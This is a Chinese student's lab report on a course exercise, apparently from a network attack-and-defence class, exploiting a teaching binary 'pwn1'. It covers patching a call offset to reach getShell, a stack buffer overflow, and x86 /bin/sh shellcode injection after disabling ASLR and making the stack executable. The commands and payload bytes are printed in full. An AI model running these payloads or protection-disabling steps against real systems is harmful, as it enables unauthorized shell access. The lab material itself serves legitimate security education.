aliengirlyz

导航

2019-2020-2 20174325叶竞蔚《网络对抗学习》Exp1 PC平台逆向破解

实验目标

·本次实验对象是一个名为pwn1的linux可执行文件。

·该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

·该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

知识需求

  • 熟悉Linux基本操作。常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。
  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。

<i> NOP——空操作——“0x90”

<ii> JNE(Jump if Not Equal)——条件跳转——“0x75”

<iii> JE(Jump if Equal)——条件跳转——”0x74“

<iv> JMP——无条件跳转——“0xEB”(rel8相对短跳转)、“0xE9”(rel16相对跳转)、"0xEA"(ptr1 6:16、per1 6:32远距离绝对跳转)、"0xFF"(r/m16、r/m32绝对跳转;m16:16、m16:32远距离绝对跳转)

<v> CMP——比较指令——“0x39”

  • 掌握反汇编objdump -d 174325pwn1与十六进制编程器。

实验步骤

在实验的最开始最开始我们先从老师给的附件中将所需的pwn文件下载下来,并通过VMware tools将文件复制进虚拟机中。

且重命名将其含有自己学号。 

 

任务一手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

 

1.对pwn1文件进行反汇编。

因为考虑到过程中可能会有其他的需要或者是出错,所以我先对174325-pwn1文件进行了备份cp 174325-pwn1 174325pwn2

 

而后对174325-pwn1文件反汇编 objdump -d 174325-pwn1

 

第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。

从主函数中我们可以找到执行跳转的语句call 8048491<foo>以及它对应的机器指令e8 d7 ff ff ff

<i> e8为call指令中的机器指令,跳转。

<ii> d7 ff ff ff则为要跳转的地址。

 

 

从刚刚的主函数中可知当前eip的值为80484ba,所以新eip地址=当前eip地址+相对偏移地址=80484ba + d7ffffff = 8048491,正好是foo函数地址。

同时由上图得知getshell函数的地址为0804847d。

2.计算跳转地址并修改机器指令。

getshell函数地址为0804847d,foo函数地址为08048491。

修改机器指令,使它从指向“08048491”改为指向“0804847d”

 

 

由于d7 ff ff ff是一段补码,其值d7=08048491-080484ba,修改跳转地址则是使其从指向foo函数变为指向getshell函数,偏移量变为0804847d-080484ba

 

 

计算得机器指令修改为c3 ff ff ff

3.修改174325-pwn1文件。

用vi编辑器打开174325-pwn1文件,乱码。

 

<i> 输入:%!xxd将其转换为十六进制编辑形式

<ii> 输入/e8 d7快速查找需要修改的地址

 

<iii> 将d7更改为c3

<iv> 输入:%!xxd -r将文件转换成原乱码形式,再输入:wq保存,退出

<v> 对174325-pwn1再次进行反汇编,查看机器指令确认修改结果。

 

4.运行174325-pwn1。

 

shell启动成功。

 

任务二利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

1.反汇编174325:pwn1并找到foo函数。

 

<i> 由此可知foo函数有0x1c(28字节)的缓冲区

<ii> 正常情况下call调用foo函数,堆栈上返回地址是0x80484ba

2.输入字符串,确认哪些字符会覆盖返回地址。

<i> 用gdb 174325:pwn2调试程序,输入r开始运行

<ii> 构造并输入字符串1111111122222222333333334444444455555555

<iii> 程序报告Segmentation fault,发生错误溢出

<iv> 再输入info r,查看寄存器eip值

 

可知覆盖返回地址的字符是5555。

3.构造输入字符串。

<i> 将getshell地址0804847d作为我们覆盖字符

<ii> 输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,input生成一个包含字符串的文件,将地址存储到input文件中(\x0a表示回车)

<iii> 输入xxd input,使用十六进制查看指令查看input文件内容

 

4.input输入运行文件。 

输入(cat input; cat) | ./174325:pwn1,将input中的字符串内容通过"|"管道作为可执行文件输入

 

shell启动成功。

 

任务三注入一个自己制作的shellcode并运行这段shellcode。

1.安装execstack。 

 

2.修改设置。

<i> 输入execstack -s 174325@pwn1,设置堆栈可执行

<ii> 输入execstack -q 174325@pwn1,查询文件的堆栈是否可执行

<iii> 输入more /proc/sys/kernel/randomize_va_space,查看地址随机化的状态

<iv> 输入echo "0" > /proc/sys/kernel/randomize_va_space,关闭地址随机化

<v> 输入more /proc/sys/kernel/randomize_va_space

 

 

3.构造payload。

<i> 输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

<ii> 注入攻击buf(cat input_shellcode;cat) | ./174325@pwn1

 

 

4.启用gdb进行调试。

<i> 用另一个终端查看174325@pwn1的进程ps -ef | grep 174325@pwn1

 

进程id为33140。

<ii> 启动gdb调试进程,attach 33140与33140进程建立连接

 

<iii> 输入disassemble foo,对foo函数进行反汇编

 

发现断在0x080484ae

<iv> 输入break *0x080484ae设置断点,查看注入buf的内存地址

 

<v> 回到第一个终端按下回车

<vi> 返回调试终端,输入c以继续

<vii> 输入info r esp,查看栈顶指针所在位置

 

01020304位置在0xffffd37c,shellcode高其4个字节地址,即0xffffd380.

5.重新构造攻击buf。

输入perl -e 'print "A" x 32;print "\xa0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

 

攻击成功。

 

任务四什么是漏洞?漏洞有什么危害?

<i> 我认为漏洞可以分为两种。第一种是由于程序设计员的不严谨,设计时的不足而导致的程序错误;第二种是由于系统本身缺陷而导致的不可更改型错误。

<ii> 计算机易受到黑客的攻击使文件被窃取或更改,系统本身易遭受病毒。

 

实验收获与感想

首先这个实验与以往做过的实验有很大的一个不同点,就是这次的实验,我做了快一整天。

通过这个实验,让我对linux的基本命令的应用更加熟悉与深刻。且此次试验中,感受最深的一点就是学会了如何反向思考,在此次试验的三种实验方式里,困难程度依次递增,在操作的过程中我感受到了耐心的重要性,是对于我的一个极大的考验,感谢这次实验。

 

posted on 2020-03-15 03:01  aliengirlyz  阅读(107)  评论(0编辑  收藏